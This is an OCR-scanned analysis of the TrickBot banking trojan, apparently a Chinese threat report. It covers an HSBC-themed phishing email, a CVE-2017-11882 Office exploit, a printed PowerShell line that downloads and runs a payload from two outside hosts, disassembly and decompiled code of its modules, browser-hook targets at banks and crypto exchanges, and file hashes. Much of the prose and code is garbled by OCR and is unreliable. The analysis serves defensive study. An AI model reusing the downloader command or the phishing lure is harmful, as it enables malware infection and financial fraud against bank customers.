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EH, X#ZeBNEIE 9 TrickBot /G JimS EERECCENEIIHE
B AT — I WIS, HFRBERNSFIRITHILShR S Fae (Hit 269
x) BEREEELUXEIESEEZA. 75 TrickBot' BRYBAM, ETEEHEH
RRITIK. EASTMIKFER, EEUEN,

iCERT www.business hsbe.co.uk

HiEiRT online.cti.eu

SR www.usbank.com

M= www binance.com

sk www, huobi. pro/www. huobipro.com
Coinbase www coinbase.com

Bl ZERSKEEMRIEDIRT. MRz FasiR
faI 19w E "TrickBot " BT Uz Al N TEHI L F IR T BIS A BIMBH 1%
&, AL URSERP. HASIRERRE, BFRE. T8 ZkE
IELUND RIS EE—NEE, BRREIEER. MAR—BHmasis,
MRS EE6T, FHBIY Office JFiE(CVE-2017-11882) NELfE( 1%

&F'TrickBot", LA AZENTARAN



S pofficeld
Microsoft Office 2007 Service Pack 3
Microsoft Office 2010 Service Pack 2
Microsoft Office 2013 Service Pack 1

Microsoft Office 2016

7RE TrickBot’ NRRIFRBEINE, SEBEIRITIKFLINISHRZFaER
8. ERNTERKERFITENRNEIEEE, BREFRA, cPufEil, BfF,
ARE, ZoTRIIRSI, BHERRE. MY, wEEABEIETEE
TSI, ETHEMBIA TR, fIa0: BAZT »mE. 9IRS

K TR MBI AR DT, A TrickBot" 21E 2016 SRR EI, R A G,
Z2RBIN=EERNETI R, BRZRSHIFTRMELRSS, BEEZERRED
EENAFRTIKS. E8HEE, #EGL,

KALZ S BRI PIE RG] RS TrickBot”, EWITHAK RIS SE{UMB4
MBFPRREITHES., 9, B#T Microsoft Office BEEEIZIRE, ENAFR

AN, LIRBR A ERIRK,
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TrickBot JA55, HMFAZRE CIERGCFIRITHIBIM S, NMiBRZEETTIT
BRI AYIRIRSS (CVE-2017-11882) , SCAEEEFEE CInEmGLFRIT
BHNE. RERMAS, FEaBEIIE0 C&C IRSSEE NEIIT TrickBot &HE,

TrickBot EHAITRIERIZIZAVEEIIRERREI A MHNIT, HBHRIRIERE: &
BREARITKSER. WEBFRTIHBMERRER. REEENES, BeEES

PTEEITANEE, TEF:

l £ T R SORL A T B %

B 15 F A TR 3L 4

mEH
d o7

l RHRT

TrickBotix 5 = - CRCHR %38
FEEREARE
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RECRSTERITARIZEE

IMSHIBMA S SEAE, J0FEFR:
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THE FRO BEY TAD dEw By |2
£ & 8 - X0 9w

BFE 2BEE BR FTED e =5 B HitE

JPEA: Hsac =
BH:  z018F4H17H 19:30

WPEAL fremoven =

F: P Your HSBE application documents

BteE: 04172018H3BCISZZH_app.dot (5.0 KB)

‘ FALET 8B Bl LA SRR i ERAIEA T E L. S FEE .

[] Hs8C |

Good Morning,

Thank you for applying online. We sent you application documentation for signing
Please note the Relatinnship Authority form will have to be signed by all of the relevant
signatories

What we need you to do

1. The documents are delivered through secure email via an attached file from HSBC
Please he aware this may be delivered to the spam folder

2. When you open the document a message will appear saying the document requires
phone verification. Yhen you click the Send Code button, a code will be sent to your
mobile phane

3. Key that code in to the Code box on screen and select OK. You will now be able to
complete the fields in the document as required

4. Please note that the signature you Upload needs to be a clear, current version of
your standard signature which once acded to the bank mandate can be used to
authorise such account transactions as the paying away of funds

5. Please ensure when you complete the form, that full names including any middle
names are included

6. When the final signatory has completed and signed the documents they will then be
returned to me via secure email

Yours sincerely

Application
Documentation
1. The documents are delivered through secure email via an attached file from HSBC.
Please be aware this may be delivered to the spam folder

2. When you open the document a message will appear saying the
document requires phone verification. When you click the Send Code
button, a code will be sent to your mobile phone.

3. Key that code in to the Code box on screen and select OK. You will now be able to
cornplete the fields in the document as required

4. Pleasenote that the signature you upload needs to be a clear, current
version of your standard signature which once added to the bank mandate
«can be used to authorise such account transactions as the paying away of
funds.

5. Please ensurc when you complets the form, that full names including any raiddle
names are included

MRS R ENES

XRETRFTEL A A CVE-2017-11882 imAMEARA R, ST Powershell BiIZA C&

79, PowerShell {tA3, W1 TNEFfN:

[=] 2018-04-17-Trickbot—artifact—task. bat. txtEd l

(hxxp:// ccmlongueuil.ca. hxxp://guardtrack.uk) TEHITIIREER

Wb

Start-Process
}
try{

maked({'http:
} catch {

maked('hto)

comlony

w o

e

PowerShell ""function maked([String] $in){
{New-Object System.Net.WebkClient).DownloadFile ($in,4'_%_‘T"}‘:"P_%_§_1->_u:ln_s;i_e_rj'_._g_§g_'_)__;
'3 TMPE\bumsisry.exs';

euil.ca/secloge.bin')

ardrrack.uk/seclogo.bin’)

PowerShell {iENE

ant

, PowerShell (XABHITESNE TrickBot fwE FELZE "%TMP%\bumsiery.ex

e'NERIHITIT, IREMABIIHIEXRBR, W FEFR:




B 48 4 B ERE S SR

B x5 g o B X mE& & WTHEE o B & 2 5 R L 3k
wE ~ TR EFM HHHE

L A58 L iz gz

oooooo £t Corporation  Windows SEfRFTER C:4Hindows\System3Ziwininit. exe

=2 IE] services. exe Microseft Corporation  ARSANSHISZERAER C:\Windows\Systen3Ziservices. exe
oooooo £t Corporation Windows RS R C:'Windows'System32isvchost. exe

ATHMLZERMER, meR et T RS, MremnUSEdolEE
IR, KEBENBERISIINTUEMTSE, EEEEEIEREFEIZE Timer, =
Timer JHRUELLRIIN 360 )R 57 RSt AR BRELRY BB, BXA, W
ElPf7R:

ERWHCOMHAND_UPARAM_BXA0 : ; CODE XREF: wnd_proc+18F £ j
8B 15 28 BE 45 88 may edx, handle_main_wnd
8B 0D E4 BF 45 88 mov ecx, dword 45BFEX4
52 push edx ; hund
89 4D 88 mou [ebpsh¥ndParent], ecx
FF 15 48 C1 44 88 call ds:DestroyWindow
8B 4D B8 may ecx, [ebp+hUWndParent]
51 push ecx
E8 73 FF 08 80 call virus_main

@aWH_TIHER: ; CODE XREF: wnd_proc+1F2 4 j
83 3D EO BF 45 88 is_timer_set, @
75 18 ] short loc_L39C1A
8B 4D B8 ecx, [ebp+hUWndParent]
6A 08 [i] ; 1pTimerFunc
6A 32 50 ; UElapse
6A 69 a ; nIDEvent
51 ecx ; hund
FF 15 38 C1 44 88 ds:SetTimer

loc_439C1A: ; CODE XREF: wnd_proc+268 1 j
A1 EB BF 45 88 eax, is_timer_set
48 i eax
A3 EB BF 45 88 is_timer_set, eax
3D 68 61 @0 8@ eax, 368
75 53 j short loc_u39C7F

68 EC 81 45 @9 offset String2 ; "Wsarde"
8D 85 D4 FD FF FF eax, [ebp+Stringl1]

33 b2 d edx, edx

58 eax ; 1pstringi
66 89 95 D4 FD FF [ebpsString1], dx

FF 15 908 C@ 44 88 ds:1strcpyl

8B 6D 28 BE 45 88 ecx, handle_main_wnd

oA 8@ a ; 1Param
6A 69 6%h ; wParam
68 11 61 @0 8@ 111h ; Msg

o1 ecx ; hund

FF 15 3C C1 44 88 ds:PostHessagef

e eef U3
REPMERRNFA ARSI TIIINEZLNE, RS ERERIF S
RFNS, [EIHEZREHTIRINRE., BERINERERERERT, ERsoih
AR REBYEEHENFREIDAXEI SHEVIREXIIEIRES, MK




SHRENSTIEEENE, BRICZIS, BEMERRIPMERS APl 2

EIBGNRES

SRENROBRE I ZRIAITERE, WA LAFEORZ2 BiST5SER.

A=

E&

aLb3rmur

aNANos3pyYBI6Y83

alNAnos3py86y8t

alpzne8ou

aRuzgyicpnulvar

aLb9drh

abioxe89kdptnes

alAkop9B4pzkob7

; int name_tbl
name_tbhl
-rdata: 08413718

Aifafl, WNERR

db "

align
db "

align
db "

align
db *

align
db "
align

dd @

dd offset alAkop%84pzkob?
dd offset ahioxe89kdptnes
dd offset aLb9drh 8
dd offset aRuzgyicpnulw.
dd offset a0pzne8ou g
dd offset aNAnos3py896yst
dd offset aNANos3pys96ys3
dd offset alLb3rmur

dd offset aEB26yBou 8
dd offset aEpapyBansil9oh
dd offset aGp9fjs

dd offset aTumstum

dd offset alide

dd offset aYBur

dd offset aDB174h 8
dd offset aNAkop?Bdpcuepn
dd offset aYucPus

dd offset aGuor

DATA KREF: .rdata:ﬂﬂh13?28l 0
DHSBL

* H
DATA XREF: .rdata:ﬂﬁh13?28¢-0
client is not behind HAT

DATA XREF: .rdata:ﬂﬂh13?2hl ]
client is behind HAT

DATA XREF: .rdata:ﬂﬂh13?2ﬂl 1]
failed

DATA XREF: .Fdata:ﬁﬂh1371cl ]
HAT status

DATA KREF: .rdata:oey1371 -$0
DIAL

DATA XREF: .rdata:B@eu1371 -iu
public.bin

.
DATA XREF: .I‘data:ﬂﬁll1371li-l-0
ConfigsAndKeysy

DATA KREF: decrypt_string+9tr
HE 1] ConfigsAndKeysy
HE 2] public.bin

[ 3] DIAL

8 4] HAT status

[ 5] failed

H 6] client is behind HAT

H 7] client is not behind NAT
[ 8] DNSBL

[ 9] listed

5 a] not listed

[ SINJ

[ %5 %s

[ spk

[ tmp

[ -tmp

5 [ 18] config.conf

[ 11] user

[ 12] RES

FRIEREUE

SREN API EREENESRARSRACAS, Q0 REFfR:

=

e

1~F

=
=

z2



get_procs_addr proc near 5 CODE XREF: init_function_table+38

ProcHame
LibFileName
name_index

esp, 1CCh
esi

es5i, [ebp+name_index]

edi

dword ptr [esi] ; name_index
eax, [ebp+LibFileName]

eax ; dest_buf
decrypt_names

ecx

ecx

eax, [ebp+LibFileName]

eax ; 1pLibFileMame
ds:LoadLibraryy

edi, [esi+a]
[ebp+tname_index], eax

eax, [esi+BCh]

eax, func_tbl_ptr

edi, [esi+8]

short loc_4BD7F1

ebx

ebx, eax

loc_4BD7C6: : CODE XREF: get_prucs_addr+6n¢ i
eax, [ebp+ProcHame]
edi
[EH
decrypt_names_@
ecx
ecx
eax, [ebp+ProcHame]
[ EH ; 1pProcHame
[ebp+name_index] ; hiHodule
ds:GetProcAddress
[ebx]., eax
ebx, 4
edi
edi, [esi+8]
short loc_48D7C6H
ebx

e Lo

loc_4BD7F1: ; CODE XREF: get_procs_addr+3D 1 j

get_procs_addr

SREN API ERE(ZE
mENTRE, BiostIEtiESeEEsm, BER 3 o ESiT
—R, WIT~EF=:

S5 HuER

MR iBEG] EFH  FENOD
%> = HE

— — — r
| &k [EE ) | FRiE{TAE | _ERizfTaiE | ERETAR | 8 Al
(B MeHatValidator EEE DENSITRES 2016/4/2T 9:20040 201874727 9:19:38 12{ERThRR e  (x0)

w EEE |me |26 |Bm | Eoincss|
ST, ALUEEMAESHSY, SEERELMET B B RS R

ke [ waEs o
Er il ot B
=0 TEEEN 020 - MEE , T 1 SIISHE 00:03:00 EE—k, B

THRESS
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JJan

EXERSBEENTE, REERZMAENGSRSS C&C IRSS:
TS, NMSREERzimEdE (B RsEREiEMERECELR)

| ¥
A BN ESMBBETRS LEHRSSR, TERIHSRIER, WFEH

N

FEHSLSY

EEaC RS IXINIIRE A

C&C RS =HREIAIEIRITMER AES-256 ERAITINET, HIEEZEITE

PHELUNEZ I TR, BERRERERERIEEED, M cac IkRS5K
FIREEN A K TREEIR, W NEFR:

RS R IReEIR

TrickBot B EBREBAIRY FElE, HS(FERLBEREIETIZM C&C 558K

EEHRRSTURRRSRR, TERRGEE, BEEsREIRREES, SR



RIEREREEHERTRSERERI TSNS, TrickBot FHEAIRSRIR

BEISHEREEE 41, FERR:

Name Address Ordinal

=#| Control 10015585 1

4| FreeBuffer 100154EB 2

| Releaze 100154EC 3

4| Start 1001596C 4
DI11EntryFoint 1000285F [main entry]

0K Cancel Zearch Help
Line 5 of 5
Name Address Ordinal
| Contrel 1000DC00
4| FreeBbuffer 10000070 2
4| Release 1000DCC0 3
4| Start 10001010 4
D11EntryFoint 10001728 [main entry]

0K Bl Sacwah Help
Line 5 of 5

REIRRSH R
A TIAER LUSKEIRIINRER R AR injectdll A0 systeminfo, injectdll fR1R
FTERTHEEAEFKS, systeminfo IRNARIEZZEZTTEITHRRESR,
Y PRRBRESERAITIERE, BTIEKYHRRIEEREEE, W HE

Fr7~:



RTIERRERRANTIER E(E R

Injectdll

IZESIERE R ABOENE svehost HIZBTIT, ZBDBHBHNKEEH
BT ENTNAFKAES, ZwEREXT IE. Chrome # FireFox T

BIIHRSREEENHE, RNRWFESHINKFEEIEEZ, £E881R
TibR. DRSS 271 1, BREFIS RIS, S TFER:

SRR

www.business hsbe co.uk

TEIEERAT online.citi.eu

S0ERT usbank.com

ka2 w.binance.com

Kk huobi.pro/i huobipro.com
Coinbase r.coinbase.com

it R



HmEEENEIN S TEEXTNEEERIAITIEN, Hook MILEERIHIZPAIMES
I5REE, RIERSEENNTIEAXCHEEMIAIETE. NEHIZH Hook 15

e, WREFTR:

o a5 © a@ln 2 s X ES & ma L. xf & W
25 = sawe  Toms  weRe
= EwD s f mom - B [T e
Window T B ieplore.exe 2072 inline OxTT3AGDA  WININET.dilinternetiWriteFile 0x037ACEF0
_ B iexpiore.ce 4 inine OXTTIMEDA  WININET difnternetiWoiteFle oso3racer0
RS & iexploreexe 2072 Infine 77387741 WININET.dillinternetSetOptionW Ox037AC8T0
B iexplorecxe 344 lnline OxT7387741  WININET.dilinternetSetOption\V 0x03FBCE70
Biexplorecxe 2072 lnfine QTS WININET.dillnternetSetOptions 0037ACTRO
Biexplore.cxe 344 lnline OxI73875E8  WININET.dllintermetSetOptionA Cu03FBCTFO
Biexploreaxe 2002 Inlne OI7IBAEAS  WININET.dillinternatReadFieExa 0:037AC350
& iexplore.exe 344 Inline OxT73BAE46  WININET.dlllinterretReadFieExh 0x03FBC350
Eierploreexe 344 inline 0x77388406  WININET.dlllnternetResdFie 0:03FBCLFD
& iexploreexe 2072 Inline 0x77388406  WININET.dllinternetReadFile 0x0374C1F0
& icxploreexe 2072 Inline OxT7387ED7  WININET.dllinternetQueryOptionW. 0x037AC150
B iexploreexe 344 nline OJ7IETEDT  WININET.dillinternetQuenyOptionW 0x03F8C150
Bixpiorere 2072 taline 07738185 WININET.dillinternetQueryOptionA 003740080
Bierslore.e 8 laline 0738185  WININET.dlllntermetQuenyOptiona 0x03F8C080
B inplorenxe Inline OxT7395ES0  WININET.dilinterretQueryDatadvailable Ox03F883E0
B iexplore.exe Inline OK77395ESD  WININET.dlllinternetQueryDatahvailable Ox037ABSED
Eierploreexe tiine O773MIZC WININET.dilIntermetConnectW 0037AFETD
& iexplore.cxe 344 Infine Ox7739482C  WININET.dillinternetConnectW OxO3FBFETO
@ iexplorecxe 0x773949E9  WININET.dllinternetConnectd Ox03FBFDS80
B iexploreexe 077394369 WININET.dilinternetCannecta 0u037A7D80
Biexploreexe 077384848 WININET.dillnternetCloseHandie 003748440
& iexplore.exe Ox7738AB49  WININET.dllinternetCloseHandle Ox03F884A0
Eiexplorenxe O7308A12  WININET.dIiHitpSendRequestV 0:037ACT50
@iexploreene OT7IBAIZ WININET.IIHipSendRequest 0u03F8CTS0
@ iexplorecxe OXTT3AMAID  WININET.dllHitpSendRequestExV 0x037AC590
& ioxplorecxe OK77IAMASD  WININET.diliHitpSendRequestExiV 0x03FBCE20
Eiewploreexe 077401812 WININET.diiHtpSendRequestEad 0x037ACS00
Biexplore.cxe 077401812 WININET.dllHitpSendRequestixA 0x03F8CSD0
Biexploreexe 7401858 WININET.diliHitpSendRequestd 0:0374C300
@ iexplore.oxe 344 loline OT7401868  WININET.dliHtpSendRequesta 0x03F8C300
Biexslorenxe 344 lnlie OTIAIE  WININETdIIHpQueryinioA 0u03F886E0
& iexplorecexe 2072 inline Ox773BA33E  WININET.dliHipQueryinfo Ox037ABGED
& iexplore.exe 344 Inline 0x77394A42  WININET.dliHitpOpenRequesti' 0x03F300F0
Eicrploreexe 2072 tnline 077394A42  WININET.dlliHetpOpenRequest 003780070
# icploreexe 2072 nline OI7304CID  WININET.dilHitpOpenRequesth 003745780
B iexploreexe W4 e OI7304CTD  WININET.dllHitpOpenRequesth Ou03F8FFS0
Biexploreexe 4 lnline 077401895 WININET.dilHtpEndRequest 0x03F88580
Biexploreaxe 2002 tolne 077401895 WININET.dIlHepEndequestt 003748580
@iexploreexe 2072 tnlne OTIMSEA  WININET.dIlHipEndRequest 003748520
& iexploreexe 344 Inline OxTTIASEA  WININET.dIlHitpEndRequestA 0x03F88520

NS SEHAZEM Hook 1BI5
TSR XA E(E 29 BIFEAE sinj. dinj 0 dpost FP, R fERORCE 14
EE, WT~BF=:

sinj SR RERCERE A, W THEMR:



sinj BeE <

dinj FEZEECER BTG, W NEFRR:



dinj EC &7

dpost FFZEECEMNES, W FEPA:

and
andler>

dpost ILENE

hboardInd




Systeminfo

systeminfo IRIREBFFSRMZZZANTENEE, TESWERFRGR
K, CPUER. AFEXIMER, EFIRSER, RULREES WEINNERES
ERPHERL xml 325, WERIBESEMNN, WTEMR:

REA AR (EEEEEE

M WM EIEERIERGIRAER, W FEFR:



malloc(12);

vi;

ful

{*{_DWORD *){ul + u)

*{_DWORD =){uvi + 8) o

u3 = alloc_string{"SELECT * FROM Win32_OperatingSystem"),
*{_DWORD =)uZ = u3,

uh u3,

vt = {_DWORD =)malloc(12),

{ud us) == @) )

handle_ervror{B<8087A308E) ;

¥

u5[1] = B3

us[2] -

*y5 = alloc_string("wQL");

u7 = {={int {_ stdcall ==){int, _DWORD, int, signed int, _DWORD, int =)}{={_DWORD =)a1 + 88)){
at,
*ub,
vy,
L8,

For ( i = ub?; ub7; i = uk? )
{

us2 'H

{=*(void (_ stdcall =x){int, signed int, signed int, int *, int *})(={_DWORD *)i + 16))(i, -1, 1, &ui4s, &u52);

if ( tus2 )

break;

if ( {=(int (__stdcall ==)(int, const wchar_t =, DWORD, UARIANTARG =, _DWORD, _DWORD)){s*{_DWORD =*)uld + 16))(
uhly,
L"caption”,
a,
&puarg,
8) <8 )

goto LABEL_é61;

v9 = {x(int (_ stdcall =x)}{(int, const wchar_t %, DWORD, UARIANTARG =, _DWORD, _DWORD)){>*{_DWORD *)ull + 16))(
uhl,
L"0SArchitecture”,
a,
&uLg,
a,
0

if ( v? == -2147217486 )

{

UersionInformation.dwdSUersionInfoSize = B8x11C;
GetUersionExW{&VersionInformation);
v18 = GetModuleHandleW({L"kernel32.d11");
vil = GetProcAddress{vi®, "GetNativeSystemInfo");
if { *u11 )
{

u12 = GetModuleHandleW(L"kernel3d2.d11");

vl GetProcAddress{v12, "GetSystemInfo™);

¥
{(void {_ stdcall =){__int1é6 *)Jjui1){&u5a);
if { wsh 2

u48.1Ual = (LONG)SysAllocString(L"x64");
else

uhB_1Val = {LONG)SysAllocString{L"x86");

1
else if ( u®

goto LABEL_

B
if ( {=(int (__stdcall ==)(int, const wchar_t =, DWORD, UARIANTARG =, _DWORD, _DWORD)){=*{_DWORD =*)ull + 16))(
uhy,
"cSDUersion”,
a,
&us1,

goto LABEL_61;
{*(void (_ stdcall ==){int})(*{_DWORD =*)ull + 8)){uih};
vhy a;
[’k ] SysStringlen{v51.bstrlal);
ull SysStringlLen{pvarg.bstrUal) + u13;
('R 13 SysStringLen(ul8 .bstrUal) + uvih + 28;
42 = 2 = ui5;
if ( lpHem )
{
ui16 = 1pHem;
uvi7 GetProcessHeap();
ui8 HeapReAlloc(u17, %u, ulb, vi2);
¥
else
{
u1? = GetProcessHeap();
vig HeapAlloc{v1?, %u, v42);
¥
1pHem = vi8;
if ( tuld )
goto LABEL_
v20 = {void (_ stdcall =){UARIANTARG =))VariantClear;
if ( sprintf{vi5, (int)u18, (int)L"<os>%s %s %s<{/os>\r\n", puarg.lUal, v51.1Val, va8.1Ual) < 8 )
goto LABEL_62;
VariantClear (&puarg);
VariantClear (&v48);
VariantClear (&uS1});

BT WM EiERFRER



BTG MRS TR SRR ST LER, W B!

if { RegOpenKeyExW(
HKEY_LOCAL_MACHINE,
L"SOFTWAREN\Hicrosof tyAWindows\\CurrentUersion\iUninstall™,

9,
0x20819u,
&phkResult)
|1 RegQueryInfoKeyW(phkResult, 6, 8, @, &cSubKeys, &cbMaxSubKeylLen, 6, 8, 8, B,

u3 = GetProcessHeap;
w35 = (uwoid {_ stdcall =)(HANDLE, DWORD, LPUOID))HeapFree;
H
else
{
= GetProcessHeap;
= 2 = cbHaxSubKeyLen + 2;
= GetProcessHeap();
1pHame = (LPWSTR)HeapAlloc{v5, 9u, uvi);
if ( 1pHame )
{

28;

GetProcessHeap():
HeapAlloc(v7, %u, 0x28u);
w4l = v8;
if ( B && memcpy{@x14u, uB, (int)L"<installed>\rin™) >= @ )
{
dwIindex = 8;
if ( cSubKeys <= 8 )
{

LABEL_35:
u31 = u3({);
u32 = HeapReAlloc{u31, Qu, u41, 2 = UG + 40);
a1 = u3dz;
if ( w32 && memcpy{uvé + 26, v32, (int)L"<finstalled>\rin") >= 8 )
w53 = 1;
H

else
vhile {( 1)

cchMame = cbHaxSubKeylen + 1;
if ( RegEnumKeyExM{phkResult, dwIndex, 1lpHame, &cchMame, 8, 6, 8, 8) }
break:

v9 = (=(int (_ stdcall ==){HKEY, LPWSTR, const wchar_t =, signed int, DWORD, DWORD, SIZE_T =))}{al + 4))(
phkResult,
1pName,
L**DisplayMName™,
2,
(]

]
&duwBytes);




fy=

XS R SHA256:

SHA256

eb68eal9ad3967179176fe6T02057d94F07900e78dcbe31f7274a37d362bcbfc

496930937ee4332¢c131d371cdadf77dc@adc9cb6b366cOc89b95achob8edfe3fa

3ff628ab4a53cb24b53126896bdd6847e962bc6ad2f5d4d6aedle23b38850a3e




